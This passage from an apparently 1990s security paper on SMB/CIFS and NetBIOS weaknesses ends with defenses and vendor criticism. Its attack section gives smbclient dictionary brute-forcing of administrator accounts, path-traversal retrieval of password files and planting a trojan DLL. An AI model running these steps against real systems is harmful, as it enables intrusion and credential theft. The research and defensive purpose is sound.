A successful tree connect response fills in a two-byte SMB header field called the tree-ID or TID. This is another arbitrary cookie that the client must send back in with any subsequent interactions with the resource in question. A client can have more than one active TID at a time. Once the IPC TID is established, I/O to the named pipe can begin. After any successful TCon, the TCP connection should remain open even if there is no subsequent SMB activity for a while. CIFS states that correct server behavior is that it should only time out truly inactive client connections, where "inactive" is apparently defined as having no current tree connections and not sending any SMB requests, but most servers seem to eventually knock down connections with or without active TIDs anyway.

Errors here are many and varied, and again interpret_error helps us figure out what is going on. In user-level security "access denied" means that the tree connect was attempted without the necessary prior authentication from SessionSetupAndX, and in share-level may simply mean the wrong share password was given. "Bad password" is more common in the latter case. Another common error is "invalid network name" from an attempt to connect to some resource that the server doesn't have. Samba issues server-class "access denied" if its IP-level allow/deny configuration disallows a service TCon. For the most part if any errors other than those just described are returned from an IPC TCon, we are probably in a fairly hopeless state and should start over.

Some old clients cannot do user-level security, so the CIFS spec optionally allows for backward compatibility by having the server assume that the calling name of a client machine is also the username for session setup purposes. If the caller name maps to a known username and that user's correct password is supplied as a share password in a TCon, an implicit user login is performed and SetupAndX can be skipped. NT and possibly other user-level Microsoft servers don't seem to comply with this, handing back "bad UID" errors for other SMB requests until a real session setup is completed. Samba supports it by building an internal concept of the "potential user" of a given connection

and checking if various names and SMB parameters from previous phases are valid usernames and passwords. This does not necessarily imply protocol weakness or that SetupAndX should be skipped if possible -- Samba does most of its logging at TCon time, for example. Besides, changing the attempted username in this scenario requires a new client connection with a different caller name. Generally if a server specifies user-level security then any brute-force attack should be performed at the setup phase.

Some servers deny certain kinds of API calls based on the rights of the user login; in particular, giving NT both a null username *and* password allows a session setup but is recorded [if at all] as an "anonymous" login rather than GUEST, and seems to deny viewing the share list and server info but allow viewing the browse list. This is likely intentional, since clients need to make such periodic quick connections to master browsers to collect more "network neighborhood" info. [See Samba's "nmbsync" utility for an example.] To clarify somewhat, a *share* list is equivalent to the exported filesystems on the target server, and a *browse* list contains names of neighboring computers. This can easily be confused, especially where smbclient's routine to list server shares is still called browse_host! Again, a server with a browse list often can be address-queried for each of the listed names to find more targets. If we can dump the share list, this informs us what filesystem shares we might be able to start fooling with in the next phase.

Phase 5: Fileshare tree connect

This is the same as any other tree connect except that the service type becomes "A:" to mean "disk" [go figure...] and we connect to "\\SERVER\FOO" where FOO is the sharename. Fileshares generally begin at a subdirectory somewhere in the local disk, and their names are usually unrelated to the subdirectory path. Sharenames are chosen by human administrators, which along with the optional comment fields visible in the share list might at least hint at what they encompass. A mounted share makes the subdirectory and everything from there downward visible to a client across the network.

This phase is reached via successful completion of the client commands most familiar to users. Usernames and passwords from dialogs or command-line arguments are supplied where needed. Doing "Net use * \\SERVER\SHARE" makes a Microsoft client try contacting SERVER, mount the named SHARE, and assign the next free drive letter to it. "Smbclient \\\\SERVER\\SHARE" with optional arguments is roughly equivalent, although the mount is only per-process and is disconnected when smbclient exits.

A new TID is returned on success, which thereafter must appear in every SMB header that refers to this mount. Almost all servers implement a distinction between read-only access to a fileshare and read-write. WFWG and other share-level servers often provide for two possible passwords, one of which allows writing to the share. User-level servers usually ignore any supplied TCon password and presumably assign access rights based on the connecting user. NT of course has its slew of user privileges and ACLs on files and directories -- the much-ballyhooed holdovers from VMS. Samba primarily relies on Unix file permissions, madly swapping its effective unix UID around to match that of corresponding SMB user session before trying to access files. Samba also imposes several restrictions on "guest" sessions, such as not being able to write anything. There doesn't seem to be any clean way of determining a remote session's access rights other than trying to perform various operations. Retrieving a directory or file obviously indicates successful read access, and a simple low-impact way to check for write access is to try creating and then deleting a new directory. At first this all sounds reasonably secure if the surrounding UID and TID checking is sound, but there are still a few problems with the fundamental design.

Most of the possible errors from this step have already been mentioned. "Access denied" or "bad password" mean the obvious in user or share level security modes; NT sends the former if a regular user tries to connect to any of the special C$ or ADMIN$ type of shares described below. Share-level servers usually allow unlimited guesses at share passwords, and deliberate delays for incorrect passwords are almost unheard of here. Thus they are not only open to the same types of brute-force attacks over the network, such attacks can proceed almost at the speed of the intervening wire. If the guesses come in too fast some servers can't handle it and just belly-up -- WFWG is one example -- and it is often necessary to throttle back the guessing rate just to get all the way through a dictionary.

Microsoft clients seem to treat any resource name ending with "$" as "hidden" and it is even documented that while such fileshare names won't show up during browsing, they are available to someone who "knows the name." In most cases smbclient will gladly show us all the hidden shares on a server regardless, since once again any such concealment is up to the client side. Interestingly, "IPC$" also falls into this class. NT almost always sets up a predefined set of hidden administrative "default" shares, named "C$" for the whole C drive, "D$" for the whole D drive if present, and "ADMIN$" or perhaps "WINNT$" pointing into the top of the system directory. While visible via smbclient, TCons to them by anything other than an administrator login are generally denied but are always worth trying anyway. As mentioned in several NT security texts these sharenames are automatically set up at every reboot, making it likely that a cracked administrator password gives carte blanche access to the entire machine.

Once a fileshare tree connection has been made, normal network-filesystem I/O is possible using more SMBs to read and write files, search directories, get and set attributes, do exclusive locks, or whatever. This is why SMBs can be large -- for efficiency, since data read or written occupies the buffer portion of the blocks. As in NFS, there is no concept of the current directory except in the client, which must construct and send a full pathname along with the right TID for every file reference. Despite the spec stating that having any active tree connect should disable server timeouts, most clients periodically send some kind of null SMB to keep things warm -- either a SMB echo or, in the case of Samba, a status check of the root directory. The opposite of TCon is an SMB called Tree Disconnect or TDis, which tears down an existing TCon and invalidates the TID. The transport connection remains open for some time afterward, during which other SMBs including a new TCon can be issued. Multiple tree connects can be currently active, such as an open fileshare or two and a quick IPC to get an updated browse list or something.

The ability to make several arbitrary fileshare tree connects has an interesting side effect against Samba servers, which commonly make user home directories available as the special [HOMES] share. Where this share points to changes dynamically if it matches an existing Unix user, and by default the username to authenticate against is taken from the sharename unless a different one is specified, say with "smbclient -U". Thus a TCon to "\\servername\user" makes just the user's home directory and downward visible. However, under many Samba configurations a TCon to the name of some account whose home directory is "/" allows the client to view the server's entire filesystem. Therefore one can user-level authenticate as "joe" but then TCon to "root" or "bin" and explore the whole machine, albeit only as joe's Unix UID. This also works against a share-level Samba, since we can either perform user-level setup regardless or use the "implied user" client-name feature and ask for the different user's sharename. A potentially worse side effect is that a TCon to the "sharename" of a user that does not exist returns "network name not found", while connecting to one that *does* exist either works or returns "access denied" depending on whether the client is in as a real user

or a guest. Regardless of TCon success or failure, the extant ones also start getting added to the visible share list for that client connection! This allows a client to scan for valid usernames even if only logged in as a guest, albeit at the risk of being extensively logged. A bunch of blind TCon attempts can be made and the Samba server conveniently collects the locally valid usernames into a viewable list.

Microsoft servers are not immune to such games either, since most Microsoft clients make a single TCP connection and rely on the UID and integrity of the network layer to keep user rights separated. Once a UID is valid across a given TCP session, it can be used to mount and mess with pretty much any other shares the server offers. The couple of known exceptions are the special NT admin shares and Samba's guest restrictions. As CIFS support is developed for other platforms, the same is likely to be true there too. Some new Unix variants already have an SMB network filesystem kernel driver. Unfortunately servers are required by the spec to place entirely too much trust in client machines. For example, a share mounted by one particular user tends to stick around unless specifically disconnected, and thus may be available to another user who logs in later even if the new user normally has no account or access rights on the *server*. A client could be compromised or network traffic spoofed to send requests with an altered UID. It is also not entirely clear how "isolated" the TCP connections really are from each other, suggesting that messing around with UID/TID combinations might turn up a few surprises. The server simply expects every client to behave itself.

This was really driven home by the discovery of the now well known "dotdot" bugs. Since most filename parsing and cleanup is left to the client, it was found that smbclient could send requests containing filenames of the form "..\..\CONFIG.SYS" to easily escape the confines of the share. Microsoft's official excuse for this was that Samba is an "illegal client" and shouldn't be used, but nonetheless released service packs with a couple of pathname enforcement bandaids slapped on to the server code. Samba itself didn't fall victim to this because its Unix-savvy implementors already knew long since to check for ".." and such in pathnames! Part of the patch kit short circuits dos_clean_name() to return without touching the given pathname, allowing us more freedom to send arbitrary file paths and explore bugs of this sort. This is not an automated test; one must play and examine some directories to figure out whether a bug is being tickled or not. A fairly reliable way to automate such a check is to examine the first entries in directory listings of "\" and "..\" and compare file attributes; if they are different then something is not quite right. There may be some other funky path formats that servers handle badly; earlier versions of NT would even crash when asked for various bogus pathnames. There are some SMB flags to indicate support for long filenames, which may confuse servers if changed in midstream or set under a dialect that isn't supposed to support them.

Launching the attack

The preceding explanation has not really detailed the specific real-world steps needed to implement an attack. Here we try and pull it all together. Parameters that will vary are represented {thus}.

The attack engine is built from Samba 1.9.15p8, using the instructions and patches given in Appendix B. You will also need some password dictionaries, which are available from numerous repositories. If you have read this far, it seems likely that you can handle this part.

Scan the target network for NetBIOS-aware hosts to build a list of hostnames and IP addresses, perhaps trying a status query to a couple of them to check for packet filtering. The rest of this summarizes probing an individual

target, whose hostname or IP address is hereafter represented by {ip}.
If a known scope ID is in use, add "-i {scopename}" to all nmblookup and smbclient commands.

Get the target's namelist, using the "*" status query and some type-0 name guesses if "*" doesn't work. Directed broadcast to x.y.z.255 may be useful in rare cases if one is able to receive all possible responses somehow; note also that the broadcast address may not be .255 for many subnets.

```
nmblookup -B {ip} -S \*
nmblookup -B {ip} -S {dns-name}
nmblookup -B {ip} -S WORKGROUP#0
```

If a machine sporting the __MSBROWSE__ name is discovered, concentrate on that one since it potentially has a browse-list and information about its network neighbors. Plug the returned type-0x20 name in and get a share listing. Use an informative debug level, avoid using NT LM dialect, hide various client info, and try some standard usernames and any type-0x3 names observed along the way. Many targets will accept a null password, but if a real one is needed make some basic guesses such as the computername or username. The hacked client accepts passwords from standard input until it gets in, gets interrupted, or hits EOF.

```
smbclient -L {TARGET} -I {ip} -d 3 -n " " -m LANMAN2 -U ADMINISTRATOR
smbclient -L {TARGET} -I {ip} -d 3 -n " " -m LANMAN2 -U ""
```

For the hard cases, pick a username or sharename that is likely to exist, and level a common-password dictionary file at it. If you have not enabled the UPPERCASE option, arrange to uppercase the dictionary first since success is more likely. Debug level 0 makes it run silently until it gets in or exhausts the dictionary. To test for invalid password delays, use a higher debug level and manually observe the timing. A sudden speedup in access errors probably indicates account lockout and that further attempts on that account won't be useful for at least another half an hour or so.

```
smbclient -L {TARGET} -I {ip} -d 0 -n " " -m LANMAN2 \
  -U BACKUP < dictfile
```

Try connecting to the shares on an accessible target, testing for read/write access, and exercising bugs.

```
smbclient \\\\TARGET\\SNAME -n TRUSTME -m LANMAN2 -U JOEUSER -I {ip}
smb: \> dir
smb: \> md test
smb: \> rd test
smb: \> cd ..
smb: \..\> dir
smb: \..\> cd \..\..
smb: \..\..\> dir
smb: \..\..\> get config.sys -
smb: \..\..\> cd windows
smb: \..\..\windows\> get joeuser.pwl
smb: \..\..\windows\> put trojan.dll winsock.dll
```

For the *really* hard cases that impose bad-password delays but allow many attempts such as NT administrator accounts, split up [and optionally convert to uppercase] a large dictionary and use the multi-connection hack. A convenient way to run it is inside "script", to record the details from any process that successfully logs in.

```
script logfile
```

```
set DOIT = "smbclient -L {TARGET} -I x.y.z.q -d 0 -n ’ ’ \
  -m LANMAN1 -U ADMINISTRATOR"
$DOIT < splitdict.1 &
$DOIT < splitdict.2 &
$DOIT < splitdict.3 &
$DOIT < splitdict.4 &
... etc, up to 10 or however many concurrent ones it can handle ...
```

Collect the results, write the report, submit the invoice...

Now what?

Where do we go from here? If administrator-level access is gained the possibilities are endless -- an account cracked during an attack is the same credential needed for remote maintenance and registry editing, to install hacked web pages and DLLs and drivers, modify startup files to run backdoor daemons, or just wreak havoc. Access as a regular user or even guest may permit such games as well. If the NT GUEST login is enabled, on most servers it gets more privileges than needed unless configured otherwise. Even read/write guest access to /tmp on a Samba server may be dangerous if its shell users run any of hundreds of utilities that bounce critical data in and out of /tmp files. This document does not address problems in other services such as FTP and Web since they are exhaustively explored in other documents, but one should still consider the potential effects of concerted attacks on those services *and* SMB together.

Intruders are already scanning routinely across the customer networks of large ISPs, looking for vulnerable home PCs with technically illiterate owners and factory-default setups. The notoriously weak .PWL files are a popular target, and woe betide those who use them to store working passwords for other services. The cable-TV modem systems now coming online function just like bridged ethernets, freely allowing local broadcasts and other shenanigans, which can turn your next door neighbor into an unintentional intruder as his ’95 box literally explores its "network neighborhood". If you aren’t scared yet, consider this scenario: You spend a day at home doing work via telecommuting. Your company is both frugal and security-aware, and has provided secure connectivity tools that you can use with your regular personal ISP account to access corporate files behind the firewalls. You inadvertantly left filesharing "temporarily" turned on from something you were doing two days ago. While you are happily SSH’ing away, someone breaks into your machine via SMB and without your knowledge, sensitive company files and your personal finance records are stolen, viruses planted, and your secure connection apps compromised. Next time you use your SSH client, it quietly spills its internal beans over the net to a stolen AOL account and within ten minutes your internal corporate network is overrun. Since it appears that your access credentials were involved, YOU may be held accountable. But you didn’t do anything, and were always careful with your passwords! A similar scenario could easily occur with corporate laptops used to "get home" from conferences and trade shows, which could still be a problem even if your laptop is reasonably secure but the one belonging to the guy *next* to you is compromised! Think about it...

The rest of this section wanders into a large area of blue-sky loose ends that in large part outlines the limits of the author’s current knowledge. Answers to many of these may already be known, and if not then much is certainly left for those with the time and inclination to explore and think over. Anyone is free to send information concerning any of these, as well as the inevitably needed corrections to other parts of this document.

Windows cracking tools are already starting to appear. At least one password-

snarfing DLL is in the works for NT, as are security-targeted registry editors and NTFS tools. Daemons to listen on network ports and start backdoor command shells probably exist already, and if nothing else there are shareware "inetd" and telnet-server equivalents available now. Do not ask me where to get these things, because I have no clue. Pointers, on the other hand, are always welcome.

The \PIPE\LANMAN service is only one of several named-pipe services. The remote registry editor starts up a new IPC TCon and opens "\PIPE\winreg" to do its dirty. Another service type seems to be called \MAILSLOT\{various-things} and shows up in browsing-related UDP traffic. Domain logons try to locate services such as \NET\NETLOGON and \NET\GETDC450, mostly via broadcast UDP. There may be many undocumented services and API calls within either class, reminding us that Microsoft historically likes to hide ill-considered or insecure functionality there and count on obscurity to resist attack. There are also the fledgling DCE/RPC services which apparently are intended to phase out named pipes as the recommended transaction backend and clearly present a whole ’nother swamp to explore. If it is running, some part of RPC is reachable via TCP port 135. It seems likely that some of these services can be accessed even if the file/printer sharing checkbox is NOT enabled.

Anyone who runs vanilla SMB over the open Internet is crazy, no matter how good their backend server security is. The protocol runs in the clear, and is thus just as vulnerable to TCP spoofing and hijacking as any other cleartext session. All it takes is one properly constructed SMB packet to make an existing authenticated session do something nasty or blow open a big hole that an attacker can enter through, and it doesn’t even matter what the server response is or how the real client handles it -- the damage is done. There are already known man-in-the-middle attacks against the authentication protocol. Various SMB header fields are only 16 bits, and in addition have been observed to be *very* predictable especially from relatively inactive servers. For instance, Samba uses the user’s own UID for its SMB UID, and TIDs from a quiet server vary little if at all. NT seems to rather consistently assign 2048 for both initial UIDs and TIDs, and increments by either 1 or 2048 for new connections. This suggests that blind TCP spoofing attacks may nonetheless be effective even if an attacker cannot observe an existing session.

One type of TCP attack involves "desynchronizing" an existing session between two hosts and taking over the connection. As Laurent Joncheray’s paper on the subject points out, such an attack is aided by the application protocol in question having some element that sends data through the TCP stream but causes no change in the state of the application itself. An example is telnet options -- a telnet client can send any number of "do echo" commands and the end user would never be the wiser. An attacker uses this type of "null data" to push the TCP sequences out of each endpoint’s windows, with the only side effect being an "ack war" between the hosts as they desperately try to resync, and eventually the attacker controls the whole connection. SMB has both an echo and a session keepalive message, and it is likely that these could also be used in a user-undetectable desync attack.

While separate TCP SMB sessions are supposed to be completely isolated from each other, there is always a possibility that a server implementation could "leak" or get them confused somehow. Servers generally run as a single process and manage several client connections internally, but how exactly does a given one internally reference the parameters associated with each? The concept of "UID scanning" has been suggested, and while I personally have my doubts about it there are still other various SMB fields to consider. We should not discount for one moment a server giving too much credence to client-settable header parameters like UID, TID, PID, MID, and maybe even source TCP ports. The twelve filler bytes in TCP SMBs become relevant in

connectionless UDP mode for sorting out session IDs, and it would be no surprise at all if the right combination of data there was able to, say, reference an already existing TCP session. Most server platforms seem able to talk concurrently via either transport type.

There may be some magic hidden in the calling client name and/or the username that the client passes in. Special user accounts of the form OTHERDOMAIN$ are used in domain trust relationships, and recent Samba servers that at least partially support domain logins have a small hook to not turn on the "guest" bit for this type of user login. A few remaining bits worth poking at could include weaknesses in the Microsoft IP stack itself, as well as how well various ill-formed service requests are handled. Sending random data to the listening ports of various NT services such as RPC and DNS can apparently cause them to wack out or crash, implying that genuine security holes may lurk there as well. Snowing a site with bogus NMB name-registration and master browser election traffic could have many interesting effects on local workstations. SMB clients must conform with a rather rigid request structure, but what happens if one does not? Well-known vulnerabilities such as buffer overflows and trust of user-modifiable data keep recurring in recent network code under numerous operating systems, and something as large and complex as NT or ’95 is undoubtedly no exception.

Besides the oft-belabored network level denial-of-service attacks possible, there is also a potential attack written right into the CIFS spec. It states that if a server receives a new session transport connection from a given client, it MAY assume that a reboot occurred and summarily drop any old existing connections with that client. Precisely what a "client" is in this case is not well-defined, but implies that it is simply based on the claimed client name. Only a lunatic would write a server conformant with this, as it would allow anyone to remotely knock down SMB sessions all day, and sensibly enough, none of the platforms mentioned herein allow this sort of nonsense. Most servers rely on keepalive timeouts and network-level errors to ferret out dead client connections.

Defenses

It is entirely reasonable to mentally lump CIFS in the same class as NFS, and view the security aspects of both with equal skepticism. It should be fairly evident by now that this stuff is a real danger, and the happy kids in Redmond aren’t going to be much help here. To their credit, they have provided a few interesting bricks you can use when building your own walls and some of these are covered in detail in numerous books and FAQs. The transport protocol is also fairly easy to handle with familiar IP-level defense mechanisms, making construction of that "layered defense" more feasible. It is hoped that the preceding bulk of this document has increased understanding how to probe networks for remaining NetBIOS-related weak spots.

Any text or FAQ on Windows or NT security is a good starting point for things to change, particularly on servers. These will detail basics like disabling or removing privileges from GUEST accounts, changing ADMINISTRATOR account names and barring them from network logins, preventing remote registry editing, turning off useless information-leaking services like messaging, reassigning user and group privileges, configuring failed-login lockouts, and dinking ACLs/ownerships on files and registry entries. Servers can be equipped with batch files to invoke "net share ??? /DELETE" and disable unnecessary default fileshares after a reboot. Centralized user management via domain controllers may help mitigate some administrative nightmares, and strong user passwords are a must although often difficult to enforce.

An obvious perimeter defense is packet filter rules in border routers to drop

traffic to TCP *and* UDP ports 135 thru 139. This prevents direct NetBIOS and RPC attacks from the outside, but may not block a relayed proxy connection or a curious insider. Policy may dictate that a few filtering "holes" be left open for remote collaborators; such things should be configured as narrowly as possible, perhaps even down to specific host addresses, and policymakers should understand that the data in these allowed connections can be stolen or corrupted. Better would be an encrypting proxy relay or VPN of some sort.

If packet filtering is not an option, as at many policy-impaired sites, there are still several worthwhile measures available that can help make your machines "invisible" from the outside. One is to use a scope ID. These are additional components of computernames that Microsoft incomprehensibly recommends NOT using but provides anyway. The stated purpose is to isolate groups of machines from each other in a more complete way than using different workgroups. Similarly to using an obscure "domainname" under Unix YP, setting all the machines at a site to use a non-obvious scope ID and keeping it a secret within a site effectively provides a "site password." Any NetBIOS traffic, name queries and session setup alike, must contain the exact same case-sensitive scope ID or name responses aren't sent and sessions are rejected. Scopes are by no means a panacea since they can leak out via human vectors, and an astute attacker who observes active listeners on TCP 139 but cannot obtain name info or sessions may conclude that a non-null scope ID is in use and start trying to guess or social engineer for it. The scope is easily viewed by doing "nbtstat -n" on a local console, so beware of wandering outsiders with itchy fingers. If a site's machines are set up with scope IDs by a small core group of maintainers who keep it to themselves, the end users are unlikely to even notice anything different unless they specifically look in the settings or spot them in packet dumps.

Where to set the scope name is often hidden in an obscure place. This is a rough outline of where to find it on various platforms; RTFM for others:

```
WFWG [requires restart, and happily craps into various .INI files]:
  run WINSETUP; Network settings / Drivers / MS TCP/IP / Setup /
  Advanced / Scope ID text-box

WFWG alternate, less frustrating:
  edit SYSTEM.INI and find [NBT] section
  add a line with "ScopeID = XYZ"
  note: can also add "LMHostFile = {path}" here to enable LMHOSTS

W95 and NT [also requires restart]:
  Control panel / Network / Protocols / TCP/IP / Properties /
  WINS Addresses / Scope ID text-box near bottom

Samba [takes effect during server run]:
  start "smbd" with "-i XYZ" to set the scope ID
```

Microsoft clients and servers use the scope ID exactly as given, but Samba always upper-cases it and must be patched if a mixed-case one is to be used. For compatibility, "nmbloookup" in the attack kit needs a similar patch, although "smbclient" itself for some reason doesn't mess with the -i argument. It is definitely weird that all the scope-handling hooks are already there in Samba, but not very clearly documented or listed in usage() messages.

Another easy network-level sleaze is to not supply internal servers with a default IP route to the internet, and make sure they ignore ICMP redirects and routing protocols. There is little reason a dedicated local fileserver would ever need to interact with anything offsite, and public services such as web servers should exist on different machines anyway. Packets may still reach such "nonrouted" machines from the outside, but they cannot send back and TCP

connection attempts to them simply time out. NT also seems to have some rudimentary concept of its own IP packet filtering, said to offer little versatility but may be worth investigating anyway [and TESTING if configured!] Depending on local policy, end-user machines will probably still need to talk to the internet so employees can waste time surfing; a wise policy is that their machines strictly remain clients and never offer any inbound services. Turning off the file and printer sharing checkboxes is the obvious first step, although Microsoft stacks seem to always listen on the NetBIOS ports regardless of these settings.

The internal protections on server shares are important, on both Microsoft platforms and Samba alike. Placing public shares on separate drive partitions reduces the potential damage from ".." bugs, since Microsoft servers are reasonably good about not letting shares cross filesystem boundaries. If file ACLs and modes are available, USE THEM so that any normal user [or a virus she inadvertantly runs] would never be able to write to, say, directories full of common system utilities. Making entire shares read-only if possible is sound, or if *someone* needs to write to them, separate and closely-held mainenance accounts should only own the files and not have any administrative privileges. While the magic [homes] Samba feature may be useful in some environments, consider carefully if the arguably free-n-easy way it works may be too lax for yours. A strategy worth considering is building a Samba server with custom getpwent() routines that dig base user entries out of a file other than /etc/passwd, which makes a cracked filesharing password considerably less useful against other daemons on the server machine.

The logging problem is a pain in the butt. Most servers that log anything just save the calling client's name, which is hardly useful since it can be arbitrarily set. Running a separate network monitor on an unswitched DMZ segment and looking for certain inbound traffic is one way to centrally cover a motley assortment of problematic machines. Stock Microsoft platforms simply cannot log client IP addresses at all, a possible albeit lame rationale being that CIFS runs over several different kind of transports and they'd all have to be accomodated somehow. Some kind of batch job to periodically wake up and snapshot a "netstat -a" to a logfile may help detect attacks, or by now there may be some third-party DLLs available that provide better logging and alarms. Samba deals more closely with IP addresses but still makes the administrator jump through hoops to usefully log things. Under the default debug level of 1 only successful non-IPC tree connects are logged. The code also includes an IP-based access control module ripped right out of Wietse Venema's tcp wrappers, and can be set up to deny tree connects from all but known hosts and subnets. The allow/deny access control entries reside in lib/smb.conf, configured globally and/or per share entry, but they only apply to TCons and have no effect on the underlying TCP connection itself. Using them may nevertheless gain some peace of mind; see the documentation for serving suggestions. Supplying an "allow" entry and cranking the debug level up to at least 2 will cause all TCon attempts to be logged, along with a certain quantity of other noise. A small saving grace here is that Samba by default runs in *share* level, so an attack would take the form of repeated TCon attempts and cause lots of logging. This is still not sufficient with user level security. User logins are also logged at debug level 2 but only with the client computername, and one would have to group together many log entries to reconstruct an attack footprint. The best way to deal with Samba would be some minimal changes to the server code, perhaps to getpeername() on the current network socket any time a login *or* TCon is attempted and concisely log success or failure along with the client name *and* IP address. Nmbd could be changed to log status queries at debug level 0 instead of 3, to help warn about UDP name-gathering probes even if the "no default route" sleaze or scopes are in use. Sending security-critical logging to the syslog instead of Samba's default logfiles would bring it more in line with other daemons and maybe cause administrators to pay more attention to it.

Snide comments

Although a primary goal has been to point out weakness in the CIFS protocol and specific implementations, backhanded comments have so far [with some difficulty] been kept to a minimum. Readers who are easily upset by a certain amount of vendor-bashing or other no-holds-barred dissing are encouraged to skip this section, where we bump up the nasty level. Why? Because it needs to be stated, partially with the hope of getting certain people to WAKE UP. Some of this is certainly conjecture, but guesses made here are reasonably educated.

Experienced Unix people are likely to already understand many of these issues, and know the "been there, done that, fixed the code" feeling. It is sadly evident that many people running all-Microsoft shops are way behind the curve where overall network security is concerned, and still struggling with a lot of the basics. Some sites don't know or care, as long as they can get their electronic ad agencies connected and sell lots of that web-slum real estate with the spiffy pictures and no content. We hear of things like complete trust placed in obscurity measures such as "inside" RAS dialups. Those who are starting to play with firewalls often pull such classic stunts as connecting one in parallel with a regular router and relying on default routing entries on individual hosts to send traffic to the firewall first. Blocking relevant IP traffic is often met with managerial resistance or confusion. Standard IP-level attacks work against such sites because most of them do not really understand TCP/IP, and do not have any useful network monitoring gear available. Unix is just foreign and scary, particularly to these so-called experts who are now popping out of the woodwork and mindlessly repeating that laughable lie about NT's C2 rating. These same people will tell you how no-brainer bugs like ".." and wide-open registry permissions are new and hot, but fall right over when asked about crypto algorithms or wire-level packet structure. Try mentioning how NetBIOS is just a load of CACA to such an expert, and expect a blank look in return.

Unix-savvy folks nowadays are used to having source for their operating systems, especially where there are security concerns, or at least are easily able to implement replacements and enhancements to the weak vendor-supplied stuff. Microsoft not only makes this unavailable and difficult, it relies heavily on internal obscurity and deliberate lack of documentation as part of security architecture. Since Microsoft refuses to help even when asked, the Samba developers have had to go through many contortions and waste a lot of valuable time reverse-engineering things just to support certain features. A reader can *feel* the triumph in those occasional messages to the Samba list when someone works out one of those "undocumented Microsoft" things and submits a patch. Security is often an arms race, which Microsoft is simply escalating and making worse for everyone by producing yet more flimsy obscurity. If it is not there already, NT source code will eventually hit underground circulation as ubiquitously as that of other "proprietary" operating systems. We should expect that numerous exploits of the obscurity will have even the security-concerned sites falling like dominoes.

As we review some of its more blatant failings, the fundamental design of CIFS authentication quickly becomes ridiculous. The draft even describes several potentially serious security problems, but inexplicably makes no attempt to FIX them. Part of the Internet-drafts process is to design and standardize new protocols that move the industry forward, not to mire it in outdated toy protocols that place it at risk! There is no documented way for server-end enforcement of secure authentication methods, and no way to provide for *both* user-level and share-level modes. At least two easy MITM attacks make the challenge-response protocol fall, and it can also be dictionary attacked in separate piecemeal DES blocks. Different users with different privileges can

wind up sharing a single TCP connection, which violates one of the more traditional [albeit still insecure] ways of holding users apart. CIFS seems to have no provision for fully encrypted sessions, despite the the fact that client and server already share at least one secret key and a few minor enhancements to SMB could provide real session encryption. It is clear that those behind CIFS are still mentally locked into the single user per client model, since the issues raised by multiuser operating systems were evidently never considered. It is almost criminal that other vendors are being forced by market pressure to waste untold development dollars supporting this mess.

Perhaps Microsoft is nonetheless starting to acknowledge that *something* needs to be done to replace the existing mockery of an authentication system. Apparently there is support for Kerberos 5 authentication on the drawing board for NT, if not in alpha by now. As far as I know Microsoft contributed nothing to the Krb5 development effort themselves, so why Krb5? Ostensibly to support DCE, but more realistically because Microsoft can just swipe the MIT code now that it has been well-tested and officially released. It remains to be seen whether this will be a full implementation, with perhaps an NT-based KDC server?? I can't wait to see how badly *that* gets mangled, especially when handling backward compatibility. Naturally some of the first things to rip into will be random number generation and client storage of tickets. Will we finally see some server-end enforcement of authentication types? Will clients implement preauthenticated TGT requests, or be able to perform mutual authentication to exchange keys for encrypted sessions? Not likely, since CIFS seems to imply that Microsoft is banking on the eventual deployment of IPSEC instead. Here again, they take the easy way out instead of actively helping implement secure protocols. It's just as well, really, since if CIFS is any example they would probably screw it up at the standards level and set everyone else back.

Default settings on even the latest NT server is still laughable, as are most of its responses under attack. Okay, so they turned off the NT4.0 GUEST account by default after significant public humiliation, but why stop there? Creating a new fileshare *still* lays it wide open to the "Everyone" group, unless several obscure menu layers are waded through to reset the ACLs. This still does not prevent the "Everyone" group from *deleting* arbitrary files unless yet another service pack has been applied. There is little enforcement for good passwords. All security auditing is still disabled until the administrator turns it on and makes an effort to prevent it from filling up and becoming useless -- and the logging still has little value in the WAN environment. Already there is talk of potentially egregious weaknesses in various interactions like domain password changing and interdomain trust relationships. Microsoft apparently made the ".." mistake in ALL their OS offerings, from WFWG up to the vaunted NT 3.51. It took a lynch mob to convince them to fix it, and it's *still* popping up here and there in other add-on products. And we won't even talk about some of those add-ons, which already have been shown to fall over when lightly tickled, or allow full read/write file access to completely unauthenticated users.

We can and should honestly ask, what *are* they thinking out there in Redmond? Besides the usual complaints about unstable bloatware, we are starting to see a steady stream of stupid, naive ten year old security problems, from weak so-called encryption of .PWL files on up. The answers usually consist of denial and refusing to fix the flaws, and only under tremendous pressure does anything get done. Is this the same vendor we are supposed to trust to produce an operating system and network suite as "secure" as is claimed for NT, especially when it is held forth as a *replacement* for Unix? Are we to lay large amounts of tithe at the feet of the Golden Gates for a complex behemoth that we are repeatedly reassured [read: lied to] is robust under fire, but continues to fall for the same old stupid reasons? The Internet security community is now pushing two decades of finding those little

headache-producing bonus gifts that come with major vendor-supplied OSes. One would surely think that a relative newcomer in that arena would take the time to learn from all those well-documented mistakes and make some effort to avoid them, but no, here we go 'round again. This stuff is *not* technically ready for prime time in today's internet, but is being brutally pressed into service for the sake of the bottom line. Common sense screams "run away", and we can easily anticipate another decade of nasty holes that will undoubtedly turn up and be promptly swept under the rug by hordes of marketroids whose jobs are *not* particularly dependent on secure, robust computing environments.

No thank you, I'd rather not go *there* today.

It will be interesting to see if the trade press picks up on any of this. If past experience is any indicator they will simply color the whole issue yellow, denounce Samba as a cracker tool while defending poor widdle abused Microsoft, and as usual not help anyone address the real problems.

Conclusions

By now the reader may be thinking twice before replacing all those Unix servers with NT, and considering the significant risks in yielding to all that marketing rah-rah. In general we now see, in what is hoped to be a clearer way than previously, both how and why to check networks for these additional vulnerabilities. Unix may have its own problems, but overall it is still easier to secure and verify for correctness, and is largely free with all sources included. There are many good people out there proactively finding and fixing Unix problems on a daily basis. And as detailed in this document, Unix still has plenty of fight in it to help kick the NT monster in the ass.

The question remaining is, has this document helped at all, or is it just another rework of old information? It began to take shape under the distinct feeling that the research involved *must* have been long since done already, given today's ubiquity of SMB environments, and that it would appear about as timely as discussion of Morris worm holes. But as more sources were scanned, many of the relevant points just didn't seem to be there or were buried as vague hints or hearsay in unrelated discussions. Again, the intent is to simply present this information in a cohesive and useful way, warn against some clear and present risks, and plant seeds to foster future work.

References and acknowledgements

This is an independent research effort of Avian Research, and is presented to the Internet community in the hope that it will be educational and useful. Nearly all the information utilized was obtained via groping around on the internet, and is referenced largely in that context.

Early stages of the project were partially funded by Secure Networks, Inc. of Calgary, CA. They have recently released a greatly enhanced NetBIOS security scanner that embodies many of the concepts described here. Also Samba-based, it is now available via FTP at ftp.secnet.com:/pub/tools/nat10.

